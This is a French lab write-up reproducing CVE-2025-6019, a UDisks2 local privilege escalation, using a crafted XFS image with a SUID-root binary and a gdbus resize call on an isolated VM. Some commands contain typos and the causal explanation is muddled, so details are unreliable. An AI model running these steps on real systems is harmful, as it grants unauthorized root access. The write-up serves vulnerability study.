
Reproduction éducative de CVE-2025-6019, une escalade de privilèges locale dans UDisks2 via une image de système de fichiers malveillante avec un binaire SUID-root. Comprend un guide d'exploitation étape par étape et une analyse des causes profondes pour des environnements de laboratoire contrôlés.
Ce dépôt documente une reproduction éducative de CVE-2025-6019 réalisée dans un environnement de laboratoire contrôlé (VM Ubuntu, non productive).
Cette recherche reproduit CVE-2025-6019 dans un environnement Ubuntu isolé pour analyser la cause racine et l'atténuation de la vulnérabilité d'UDisks2. Tous les résultats sont partagés de manière responsable et visent à soutenir la sensibilisation et l'adoption des correctifs. Si vous êtes un fournisseur ou un mainteneur, veuillez vous assurer que votre système dispose des dernières mises à jour de sécurité.
Cette vulnérabilité CVE est un type d'escalade de privilèges locaux sous Linux provenant d'interactions insuffisamment coordonnées entre les composants de gestion du système de fichiers Linux, à savoir udisk/udisk2, libblockdev et Polkit dans ce cas. Ce bogue permet à un utilisateur local (attaquant non privilégié) de monter une image de système de fichiers malveillante contenant des fichiers appartenant à root avec le bit SUID défini, d'exécuter un binaire SUID-root à partir de cette image, et finalement d'obtenir le contrôle total de l'hôte.

Cette exploitation est menée sur une machine virtuelle Ubuntu 20.04.6. Tous les tests sont exécutés dans une VM locale isolée, et aucune connexion réseau ni charge utile destructive n'est utilisée. Le but est purement d'observer les changements de privilèges et de vérifier la vulnérabilité dans des conditions sûres.
~$ gcc check_root.c -o check_root
~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2
Notez que le but n'est pas de créer un programme destructeur. check_root.c est un programme de test inoffensif qui imprime uniquement son UID réel et son UID effectif lors de l'exécution (via les fonctions getuid() et geteuid()), mais si nous le remplaçons par un binaire malveillant, le système pourrait être endommagé.
~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img
~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious
# Expected: no result return.
Si vous voyez que l'image est toujours montée, démontez-la. Après cette étape, nous avons une image malveillante contenant un fichier malveillant (checkroot.c), avec le drapeau SUID et le propriétaire root dans les métadonnées. Notez que ces métadonnées restent cohérentes lors de la copie du fichier entre machines Linux, et Linux protège par « nosuid », ce qui ne sera pas affecté dans ce scénario.
Cette étape va mapper l'image sur la machine cible puis exécuter le fichier malveillant à l'intérieur ; cette action est similaire à brancher une clé USB malveillante sur une machine Linux.
~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck:
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns
~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh
Ouvrez un second terminal et envoyez une requête D-Bus qui demande au système (UDisks2) de redimensionner le périphérique bloc présenté.
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"
Pourquoi le succès : Lorsque l'image a été mappée manuellement avec losetup puis montée manuellement (même sur un système où udisksd est présent), le montage a été effectué dans un contexte différent avec des options et une sémantique de cycle de vie différentes. Dans ce scénario, le système de fichiers n'a pas été monté avec les mêmes drapeaux de sécurité appliqués par udisksd, donc le binaire setuid à l'intérieur de l'image a pu prendre effet et l'étape d'exploitation a réussi.
⚠️ Avertissement
Ce dépôt est à usage éducatif uniquement.
N'utilisez aucune partie de ce contenu pour attaquer ou modifier des systèmes réels.
L'auteur et les contributeurs déclinent toute responsabilité en cas d'usage abusif.